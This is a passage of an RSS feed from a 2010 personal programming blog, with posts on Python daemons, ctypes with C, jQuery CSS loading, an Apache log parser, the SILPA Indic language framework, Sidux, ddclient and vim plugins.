&lt;i&gt;&lt;b&gt;snippets/text-mode/python-mode/&lt;/b&gt;&lt;/i&gt; folder.&lt;/div&gt;2. Copy the cgpl file to &lt;i&gt;&lt;b&gt;snippets/text-mode/cc-mode &lt;/b&gt;&lt;/i&gt;directory and then create hard links using ln in c-mode and c++-mode.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;Usage:&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. In the Python mode just type &lt;i&gt;&lt;b&gt;pygpl&lt;/b&gt;&lt;/i&gt; and then hit Tab key and license notice will be inserted starting from the line where you wrote pygpl. &lt;/div&gt;2. For C/C++ or any other mode follow the same step just type in &lt;i&gt;&lt;b&gt;cgpl&lt;/b&gt;&lt;/i&gt; instead of pygpl rest all remains same.&lt;br /&gt;Here is a screen shot of the license notice inserted in a Python file&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/TF7qnMUDs6I/AAAAAAAABX4/10SQnSCkx4I/s1600/screen_shot.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;473&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/TF7qnMUDs6I/AAAAAAAABX4/10SQnSCkx4I/s640/screen_shot.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;You can get the snippets from github. This is the first version of these snippets. Any suggestions on improvements are welcome :)&lt;br /&gt;--Vasudev
</description>
<pubDate>Sun, 08 Aug 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/08/inserting-gpl-license-notice-in-emacs.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/08/inserting-gpl-license-notice-in-emacs.html</guid>
</item>



<item>
<title>Creating a Daemon Process in Python</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;Daemons in computer world refers to a process that runs in background in a Unix like operating system you can read more on Daemons in this &lt;a href=&quot;http://en.wikipedia.org/wiki/Daemon_%28computer_software%29&quot; target=&quot;_blank&quot; title=&quot;Daemon Process&quot;&gt;Wikipedia article&lt;/a&gt;. I knew how to create a daemon in the C program but didn't find any good article on how to do it in Python except this &lt;a href=&quot;http://code.activestate.com/recipes/278731-creating-a-daemon-the-python-way/&quot; target=&quot;_blank&quot; title=&quot;Python Daemon&quot;&gt;one&lt;/a&gt;. The main guidelines for writing a daemon process are as follows&lt;br /&gt;&lt;ol&gt;&lt;li&gt;First the program needs to fork and parent should exit leaving the child as orphan which will be then adopted by the &lt;b&gt;&lt;i&gt;init &lt;/i&gt;&lt;/b&gt;process which is parent of all process in Unix like operating system. Caution: do take care so that your process doesn't end up as a Zombie Process (avoided by doing a double fork. 1st parent forks a child which then forks a second child after forking first child exits and then parent exits and the second child continues to execute as a daemon)&lt;a name='more'&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;A process has a controlling terminal and receives all signal from the terminal. Child inherits the terminal of process but a daemon should not receive any signal from controlling terminal so we need to disassociate from any terminal and also from process groups. This can be done by creating its own process group and becoming the session leader. To achieve this &lt;b&gt;&lt;i&gt;setsid&lt;/i&gt;&lt;/b&gt; system call is used&lt;/li&gt;&lt;li&gt;By default a child process also inherits open file descriptor from its parent and most of the time it may not be using these resources so its good if we release/close all these file descriptors.&lt;/li&gt;&lt;li&gt;Next is setting the working directory as / (root) this is done so that process doesn't keep any directory in use on a mounted file system (not allowing to unmount). But using / may not be good in all cases so working directory should be chosen carefully. This can be achived using &lt;b&gt;&lt;i&gt;chdir&lt;/i&gt;&lt;/b&gt; system call&lt;/li&gt;&lt;li&gt;Setting the file creation mask is next step. Normally daemons will be running as super user and files created by it needs to be protected. This can be done by using &lt;b&gt;&lt;i&gt;umask&lt;/i&gt;&lt;/b&gt; system call.&lt;/li&gt;&lt;li&gt;Catching the Signals is the next step. Normally daemon process may get signal from a user or other process. For eg a child process may send SIGCHLD when it terminates. Daemons should catch these signals and act accordingly (except SIGKILL). This can be done using signal handlers utilizing signal.h&lt;/li&gt;&lt;li&gt;Daemon process won't be attached to any terminals or consoles so messages from daemon process needs to be written to some file or we need to use syslogd interface to log the events which is more flexible.&lt;/li&gt;&lt;/ol&gt;Well that’s about the steps / guide lines to create a daemon processes. Here is the code which I wrote in Python which uses double forking and creates a simple daemon which actually does nothing :P.&lt;br /&gt;&lt;script src=&quot;http://gist.github.com/596645.js&quot;&gt;As you can see this program follows all the 7 steps. I used the double forking method to avoid Zombies. First child becomes session leader using os.setsid and forks second child then it exits. Second child changes the working directory to /tmp and sets umask, at this point parent process is done. Next it tries to close all file descriptor which may have been inherited from parent. I simply go from 0 to max allowed files by the system and try to close each of them. If closing fails it doesn't matter try next one ;). Finally I have a signal handler which handles hangup and terminate signals, child stop etc are ignored. Then in the main part simply loop for ever sleeping for 1 second :D. That’s it your daemon is ready to run. Here is the orignal &lt;a href=&quot;http://www.enderunix.org/docs/eng/daemon.php&quot; target=&quot;_blank&quot; title=&quot;Daemon process in C&quot;&gt;C program&lt;/a&gt; To check if your program is running just use following command.&lt;blockquote&gt;&lt;i&gt;ps -eF | grep test_daemon.py&lt;/i&gt;&lt;/blockquote&gt;Replace with file name you gave. Here is the sample output&lt;blockquote&gt;&lt;i&gt;root     18754     1  0  2533  2308   0 21:31 ?        00:00:00 /usr/bin/python ./test_daemon.py&lt;/i&gt;&lt;/blockquote&gt;1 in the third column indicates that this process's parent is init. Try following commands &lt;blockquote&gt;&lt;i&gt;kill -HUP 18574&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;kill 18574&lt;/i&gt;&lt;/blockquote&gt;Now if you see the log file in /tmp/pydaemond.log you will see signal handler has caught the signals and logged it. PID can be found in the /tmp/pydaemond.lock file. Change the file name and directory to suit your needs. Thats all for now C ya.Vasudev&lt;/div&gt;&lt;/script&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 11 Jul 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/07/creating-a-daemon-process-in-python.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/07/creating-a-daemon-process-in-python.html</guid>
</item>



<item>
<title>Python and C Coupling</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;One of the best feature of Python is you can write some modules in C and use it in the Python. This is usually done for the parts of the program which requires intensive calculation and their implementation in Python may make entire application slow. For coupling you need to write the function which are calculation intensive in C and create a shared library file of it. Then you can use the &lt;a href=&quot;http://docs.python.org/library/ctypes.html&quot; target=&quot;_blank&quot; title=&quot;Ctypes Module&quot;&gt;ctypes&lt;/a&gt; module in Python to import those module into your Python program. Well as an example lets write an C function for calculating factorial. See the code below&lt;br /&gt;&lt;script src=&quot;http://gist.github.com/596858.js?file=factorial.c&quot;&gt;&lt;/script&gt;&lt;br /&gt;Lets call this file test.c Now compile this file with following commands&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;gcc -fpic test.c &lt;br /&gt;gcc -shared -o libtest.so test.o&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;This creates a shared library (dll in Windows way). Now lets write a Python file with same function to calculate factorial. Why I'm doing this is to show the efficiency of using C coupling. Below is the sample code I used.&lt;br /&gt;&lt;script src=&quot;http://gist.github.com/596863.js?file=gistfile1.py&quot;&gt;&lt;/script&gt;&lt;br /&gt;Well don't worry I purposefully did factorial of 1000 to show what happens. &lt;i&gt;Python will run out of stack space and if you remove the try except block python will complain about stack depth exceeded&lt;/i&gt; and finally quits, but C function works pretty fine and returns a result. Well I don't know if result is proper or not since finding result wasn't my concern. Here is the output you get when you run the program &lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;Python recursive call error stack depth exceeded &lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;C call from python 0.062844 &lt;/i&gt;&lt;/blockquote&gt;You can change the number and test the time taken. One thing I want to tell here is CDLL is for *nix users, if you are Windows user you should use either WinDLL or OleDLL class for doing this. Any variable you pass to the C functions need to be of types defined in ctypes you can't directly pass a Python data type to C functions. &lt;br /&gt;There is no proper example available on how to use this in documentation so thought of writing this blog. I'm still learning the ways of utilizing C programs from with in Python. And as I learn new things I'll update them here.&lt;br /&gt;Vasudev&lt;/div&gt;
</description>
<pubDate>Mon, 05 Jul 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/07/python-and-c-coupling.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/07/python-and-c-coupling.html</guid>
</item>



<item>
<title>Dynamic CSS Loading and Creation using Jquery</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;This is my first post on web development side. Frankly I'm not a designer and I don't understand the art of designing correctly. But this time I got in a situation where I had to do design changes in &lt;a href=&quot;http://smc.org.in/silpa&quot; target=&quot;_blank&quot; title=&quot;SILPA&quot;&gt;Silpa's &lt;/a&gt;Web font module. SILPA is the first service which provides Indic web fonts. Currently we have web font for Malayalam and Kannada languages.&lt;br /&gt;Requirement was something like this - I need to get font details from Silpa which contains Font name, its language and sample text to preview the font.&lt;br /&gt;Challenge: To preview the font on sample text, I needed to get @font-face CSS from the Silpa which can be done using &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://smc.org.in/silpa/Webfont?font=Malige&quot;/ type=&quot;text/css&quot;&amp;gt; tag which need to be put in &amp;lt;head&amp;gt; section of HTML page and create corresponding CSS for the font dynamically.&lt;br /&gt;Solution: &lt;a href=&quot;http://thottingal.in/&quot; target=&quot;_blank&quot; title=&quot;Santhosh's Home Page&quot;&gt;Santhosh&lt;/a&gt; gave me a hint &quot;google dynamic CSS loading using Jquery&quot; and this &lt;a href=&quot;http://topsecretproject.finitestatemachine.com/2009/09/how-to-load-javascript-and-css-dynamically-with-jquery/&quot; target=&quot;_blank&quot; title=&quot;Dynamic CSS Loading with Jquery&quot;&gt;link&lt;/a&gt; came to my rescue. Here is what I did&lt;br /&gt;&lt;script src=&quot;http://gist.github.com/597120.js?file=dynamiccss.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;css_link is generated using font name returned by the SILPA. Next was to create font CSS for each font's preview text. Well I used my own technique without knowing it will work or not but voila it worked :)&lt;br /&gt;Here is what I did&lt;br /&gt;&lt;script src=&quot;http://gist.github.com/597123.js?file=dynamic_css_text.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;And voila webfonts where previewed :). Here is the link for the page &lt;a href=&quot;http://smc.org.in/silpa/Webfonts&quot; target=&quot;_blank&quot; title=&quot;Webfonts in SILPA&quot;&gt;http://smc.org.in/silpa/Webfonts.&lt;/a&gt;If you didn't understand the entire code have a look at the source code &lt;a href=&quot;http://git.savannah.gnu.org/cgit/silpa.git/tree/modules/webfonts/index.html&quot; target=&quot;_blank&quot; title=&quot;Source Code&quot;&gt;here.&lt;/a&gt;Comments are welcome.&lt;/div&gt;
</description>
<pubDate>Sat, 03 Jul 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/07/dynamic-css-loading-and-creation-using-jquery.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/07/dynamic-css-loading-and-creation-using-jquery.html</guid>
</item>



<item>
<title>A Small Python module to parse Apache Log lines</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div align=&quot;justify&quot;&gt;This is my first module written in Python. I wanted to extract the information from Apache access log line so searched for existing modules, even though I found one i felt logic is too complicated, I wanted a very simple module. So thought why don't I write my own module to parse log lines. Since I designed this to meet my requirements it may not be a complete module. It can parse and give you information from the Apache access log lines which is either common or combined format. If you don't know what is common and combined format refer this &lt;a href=&quot;http://httpd.apache.org/docs/2.1/logs.html&quot; target=&quot;_blank&quot; title=&quot;Apache Logs&quot;&gt;documentation.&lt;/a&gt; This module doesn't validate the lines to check if its really Apache log lines it depends on user to pass correct line. I've also added another simple module which can get you information from error log line. The module is available in &lt;a href=&quot;http://gitorious.org/apache-log-parser-module/&quot; target=&quot;_blank&quot; title=&quot;Apache Log Line Parser module&quot;&gt;gitorious&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;Below is the code which shows how to use this module.&lt;/div&gt;&lt;pre class=&quot;python&quot; name=&quot;code&quot;&gt;import apachelogparser as a&lt;br /&gt;f = open(&quot;/var/log/apache2/access.log&quot;) #change it to suit log location in your machine&lt;br /&gt;line = f.readline()&lt;br /&gt;log_parser = a.ApacheAccessLogParser()&lt;br /&gt;log_parser.parse(line)&lt;br /&gt;&lt;/pre&gt;&lt;div align=&quot;justify&quot;&gt;The fields of log_parser object will be filled with information extracted from the line. Please refer the &lt;a href=&quot;http://gitorious.org/apache-log-parser-module/apache-log-parser-module/blobs/master/README&quot; target=&quot;_blank&quot; title=&quot;README&quot;&gt;README&lt;/a&gt; in documentation for information on the field. Similarly you can extract information from the error log. Well hope this module helps you :). Soon will be publishing the project for which I wrote this module till then.&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;Vasudev&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 27 Jun 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/06/a-small-python-module-to-parse-apache-log-lines.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/06/a-small-python-module-to-parse-apache-log-lines.html</guid>
</item>



<item>
<title>SILPA - An Indian Language Processing Application</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div align=&quot;justify&quot;&gt;SILPA stands for Swathantra Indian Language Processing Application. Swathantra stands for free as in freedom. Its a web framework which provides a set of language processing application for Indian Languages. It has also ported many existing stand alone application to the web framework. SILPA is entirely written using Python and its a framework written from the scratch with out following any of existing Python framework. Credit of writing this framework goes to&lt;a href=&quot;http://thottingal.in/blog/about/&quot;&gt; Santhosh Thottingal&lt;/a&gt;. &lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;Coming to&amp;nbsp; the implementation details of SILPA. SILPA is a modular framework, in the sense all the language processing services are organized as separate modules and user can activate or deactivate these modules by commenting or un-commenting respective lines in a configuration file (silpa.conf). SILPA uses the &lt;a href=&quot;http://wsgi.org/wsgi/What_is_WSGI&quot;&gt;WSGI interface&lt;/a&gt;. Silpa also provides JSON RPC API's to expose this services to wide range of platform. &lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;Some of the service provided by the SILPA include Spell checker service, transliteration which include ISO 15919 and IPA and according to Santhosh this is the first application providing the transliteration in ISO 15919 and IPA for Indian languages. Silpa also has Indic Soundex module which is the modification of Soundex algorithm to suit the indic languages. Of course all these services are still in development stage. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;SILPA provided the transliteration service for Indic Languages before the Google's scriptconv.googlelabs.com but service was not so popular which will make people think that Google brought the transliteration service for Indian Language first. The website transliteration service which is powered by SILPA can be accessed at &lt;a href=&quot;http://thottingal.in/go&quot;&gt;http://thottingal.in/go&lt;/a&gt; &lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;Similar to transliteration service Silpa also provides spell checking service for all Indian Languages and English. PHP helper library is also written for this module to allow the developer consume this service from PHP. Online spell checking service for Indian Language is designed using this PHP library and is available at &lt;a href=&quot;http://thottingal.in/projects/spellchecker/&quot; target=&quot;_blank&quot;&gt;http://thottingal.in/projects/spellchecker/&lt;/a&gt;. The source code for PHP library is available in &lt;a href=&quot;http://github.com/copyninja/php-silpa-spellchecker&quot; target=&quot;_blank&quot;&gt;Github&lt;/a&gt; &lt;br /&gt;You can find more about Silpa and service provided by it in this &lt;a href=&quot;http://www.smc.org.in/silpa&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt;. You can also try out these services here. SILPA is currently lacking developers, currently we have only 2 active developers Santhosh, and myself. Of course I'm beginner and helping in fixing minor issues and performance improvements and also Kannada related bug fixes. We will be happy to have more developers since there are many pending tasks to be done for this application. I'll list few of them below.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Improving the Spell checker algorithm and making it more accurate&lt;/li&gt;&lt;li&gt;Currently transliteration from English to Indic language is chained through Malayalam and we need developers from respective languages to provide more efficient and independent transliteration &lt;br /&gt;&lt;/li&gt;&lt;li&gt;We have plans to pull the words from as many sources as possible including Wiktionaries to create Indic language dictionary.&lt;/li&gt;&lt;li&gt;Writing documentation for the API interfaces (both in Python and JSON) etc/ &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If any one is interested in helping us in improving the service for their&amp;nbsp; language. You can join us by registering in &lt;a href=&quot;https://savannah.nongnu.org/projects/silpa&quot; target=&quot;_blank&quot;&gt;Savannah&lt;/a&gt; and requesting for membership in the same link. You can also subscribe to &lt;a href=&quot;https://savannah.nongnu.org/mail/?group=silpa&quot;&gt;Silpa mailing list&lt;/a&gt;. The basic skills we are looking for is&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Proficiency in natural language&lt;/li&gt;&lt;li&gt;Basic knowledge in Python&lt;/li&gt;&lt;li&gt;Basic knowledge of working with Git.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;zemanta-pixie&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/pixy.gif?x-id=7e997c1b-396e-8269-b38f-a0068ee5d95d&quot; /&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Mon, 24 May 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/05/silpa-an-indian-language-processing-application.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/05/silpa-an-indian-language-processing-application.html</guid>
</item>



<item>
<title>VIM auto-complete feature for GAE (python) using PyDiction</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;In my one of the previous post on Vim auto-complete features, I used pydiction plugin to configure&amp;nbsp; the Python auto-complete in vim. Same pydiction plugin comes with a handy python script called pydiction.py which allows you to add new module to the existing python auto-complete dictionary &quot;complete-dict&quot;. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;For adding GAE to this auto-complete dictionary follow these steps.&lt;br /&gt;1. Extract the google-appengine to say bin folder in your home directory. For eg .home/user/bin/google-appengine.&lt;br /&gt;2. Now add a symbolic link to this folder in your python's site-packages directory which is found in /usr/lib/python2.x/site-packages. You can use this command for the purpose but remember to change the version number of python appropriately.&lt;br /&gt;&lt;blockquote&gt;cd /usr/lib/python2.5/site-packages&lt;br /&gt;sudo ln -s ~/bin/google-appengine/google&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;3. Now go into the folder ~/.vim/pydiction1.x/ (if you followed my instruction to setup&amp;nbsp; pydiction or wherever you have the complete-dict and pydiction.py) and run the following command&lt;br /&gt;&lt;blockquote&gt;pydiction.py google&lt;br /&gt;pydiction.py google.appengine&lt;br /&gt;pydiction.py google.appengine.api&lt;/blockquote&gt;As you encounter more module keep extending your dictionary set using pydiction.py. Note that pydiction.py backs up your complete-dict file each time you run it to a file complete-dict.last. So its better or shall I say its mandatory to have complete-dict and pydiction.py in same folder.&lt;br /&gt;Thats all folks now you can program GAE with your vim without bothering to use memory hogging eclipse IDE. Enjoy !!! :)&lt;br /&gt;&lt;br /&gt;Vasudev&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;zemanta-pixie&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/pixy.gif?x-id=c8b1d1ff-83dd-8bae-b2f7-c455b7661af0&quot; /&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 18 Apr 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/04/vim-auto-complete-feature-for-gae-python-using-pydiction.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/04/vim-auto-complete-feature-for-gae-python-using-pydiction.html</guid>
</item>



<item>
<title>Sidux Saga</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div align=&quot;justify&quot;&gt;After a very long time I finally removed the Windows partition and completely installed Sidux. Sidux a Linux distribution completely based on the Debian Testing/Sid. Unlike Ubuntu Sidux maintains Debian flavor with it. It completely follows Debian Software policy and follows the latest software to the user. Since Sidux also uses Debian Sid there is a myth that its unstable, but frankly its not unstable its been a week for now i'm using Sidux without breaking a sweat. &lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;&lt;b&gt;Sidux Desktop :&lt;/b&gt; Sidux basically comes with 2 desktop environment KDE and Fluxbox. I chose KDE full live CD which is about 2GB live ISO which supports x86 and AMD64 versions. Sidux currently runs KDE 4.3.4 with all the latest KDE apps and Open Office 3.2 and KMail 1.12. By seeing the Kubuntu I was always thinking KDE is such a buggy desktop, but after using the Sidux I'm changing my thinking about KDE, it isn't that buggy but in Kubuntu for some reason it looks more buggy. &lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;&lt;b&gt;Sidux Installer and Boot up : &lt;/b&gt;Sidux has a nice installer which in some way is like Wubi installer but there is no resemblence. Installation was a easy process, boot live CD click on Sidux Installer provide proper partition for installation and just click next. Time of installation was hardly 5-6 minute which beats even Ubuntu installation time :) . Boot up was pretty fast and unlike Ubuntu boot process is similar to Debian.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;&lt;b&gt;Sidux package management : &lt;/b&gt;Sidux package management is same apt-get dpkg. The one reason why I won't recommend Sidux to beginers is &quot;you meed to be well versed with apt-get command line system&quot;. Even though there is package manager available it ain't that good. Also there isn't any automatic update notifier you need to check all these things manually. But there is a reason for this since Sidux uses Sid repositories, there will be lot of changes to the repository each day and Sidux manual clearly mentions not to dist-upgrade in X mode, alternative for this is to download the packages manually using apt-get's -d option and then log off the KDE , log on to virtual console and switch to runlevel 3 do the upgrading once every thing finishes clean the cache and switch back to runlevel 5. This is not so difficult to geeks who are well versed in command line. One more issue is update amount, due to usage of Sid repository each day there will be&amp;nbsp; a lot of updates (arround 100MB), this sole reason put me in a dilemma of whether to continue with Sidux or switch to Debian testing. Any suggestions on these are welcome ;).&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;&lt;b&gt;Sidux Security updates : &lt;/b&gt;Since there isn't any security updates available for Sid itself there isn't any security update concept for Sidux. So Sidux is best suited for the desktop machines.&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;As final words I will say Sidux is a rock solid distro which provides you pure Debian flavor with all latest packages. So if you love some challenge and fun then I would say go for it (Sidux). If I make up my mind to continue with Sidux this Saga will continue :).&lt;/div&gt;&lt;br /&gt;Vasudev&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;zemanta-pixie&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/pixy.gif?x-id=077c30ac-d5be-8c66-94df-e85ef2aed00c&quot; /&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sat, 10 Apr 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/04/sidux-saga.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/04/sidux-saga.html</guid>
</item>



<item>
<title>Using dyndns service with Dialup Modem on Debian/Ubuntu</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I know dial up modems are almost out of date, but there are still people like me who are satisfied with dialup modem (or are not able to afford broadband :P ). So if you are using a dialup modem and want to use dyndns service there is good tool available for you to update you IP address to dyndns without having to login to the web interface. This tool is ddclient and can be downloaded from &lt;a href=&quot;http://sourceforge.net/apps/trac/ddclient&quot;&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;For those who want to know what is dyndns, it provides home and small businesses users domain, email, and Internet  infrastructure services. &lt;a href=&quot;https://www.dyndns.com/about/&quot;&gt;More info here&lt;/a&gt;.&lt;/div&gt;&lt;ol&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Ok once you download the tar ball extract it and copy the ddclient perl script to the /usr/sbin/(You need to be root or need to use sudo).&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Create /etc/ddclient directory and create a file ddclient.conf inside it with following contents&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre class=&quot;wiki&quot;&gt;# /etc/&amp;lt;span class=&quot;searchword0&quot;&amp;gt;ddclient&amp;lt;/span&amp;gt;/ddclient.conf&lt;br /&gt;#&lt;br /&gt;protocol=dyndns2&lt;br /&gt;use=web&lt;br /&gt;login=mylogin&lt;br /&gt;password=mypassword&lt;br /&gt;myhost.dyndns.org&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Change the fields appropriately.&lt;/div&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Now create directory /var/cache/ddclient and create a file ddclient.cache inside it. You can use &lt;b&gt;touch&lt;/b&gt; command for this purpose.&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;To update your IP after you connect to internet run the following command&lt;/li&gt;&lt;/ol&gt;&lt;blockquote&gt;sudo ddclient -daemon 300 -syslog&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The output of command will be present in /var/log/syslog. Just verify the log to make sure that you have updated the ip successfully. You can write this command to a script file and add it to startup but I don't recommend because while using modem we need to dial manually so we can update the ip with above command once we get connected to internet.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;zemanta-pixie&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/pixy.gif?x-id=3bca3757-2e9b-8833-b23e-50914b9a4e5d&quot; /&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Tue, 30 Mar 2010 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2010/03/using-dyndns-service-with-dialup-modem-on-debianubuntu.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/03/using-dyndns-service-with-dialup-modem-on-debianubuntu.html</guid>
</item>



<item>
<title>Integrating Version Control with vim</title>
<description>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div align='justify'&gt;Version Control system is very important for a developer, and it will be easy for the developer if he can use the version control system from the editor which he is using. Most of the IDE's like eclipse with plugin support most popular version control systems like Subversion (svn) CVS. Even though there are plugin support for the other Version controls like git its not completely evolved so developer has limited choice when using such version control. But surprisingly vim has plug-in which integrates with all the version control flawlessly. Let me tel you how to install this plug-in with the vim.&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;1. Download the plug-in package from &lt;a href='http://www.vim.org/scripts/script.php?script_id=90'&gt;here&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;2. Zip contains doc, plugin, syntax folders&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;3. Extract these folders into ~/.vim folder&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;4. Add the documentation to the vim. To do this follow these steps&lt;br/&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Launch vim &lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;In the command mode i.e pressing &amp;lt;Esc&amp;gt; type in this command :helptags ~/.vim/doc . This command generates the documentation for the files placed inside the ~/.vim/doc folder. After this you can access all the help regarding the VCSCommands by typing :help VCSCommand.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;Some basic ones are :VCSCommit for commiting :VCSAdd to add a file to version control. :VCSLog to see change log.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;One good thing is you don't have to remember version control specific command and don't even have to bother on which version control you are using, plugin itself finds which version control to use. Single plugin for all Version controls nice rite. :)&lt;br/&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;&lt;font color='#ff0000'&gt;&lt;b&gt;One thing to keep in mind you should be in working directory (i.e directory to which you checkout)other wise you will see VCSCommand: No suitable plugin found message&lt;/b&gt;&lt;/font&gt;&lt;br/&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div align='justify'&gt;Well thats all folks its so simple to use version control with vim. I'm currently using vim with git and it works flawlessly. Well enjoy version control with vim. C ya :).&lt;br/&gt;&lt;/div&gt;Technorati Tags: &lt;a rel='tag' href='http://technorati.com/tag/vim' class='performancingtags'&gt;vim&lt;/a&gt;, &lt;a rel='tag' href='http://technorati.com/tag/ubuntu' class='performancingtags'&gt;ubuntu&lt;/a&gt;, &lt;a rel='tag' href='http://technorati.com/tag/version%20control' class='performancingtags'&gt;version control&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=542a029f-8b65-8d8c-ba30-ddc24a35e213' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 07 Mar 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/03/integrating-version-control-with-vim.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/03/integrating-version-control-with-vim.html</guid>
</item>



<item>
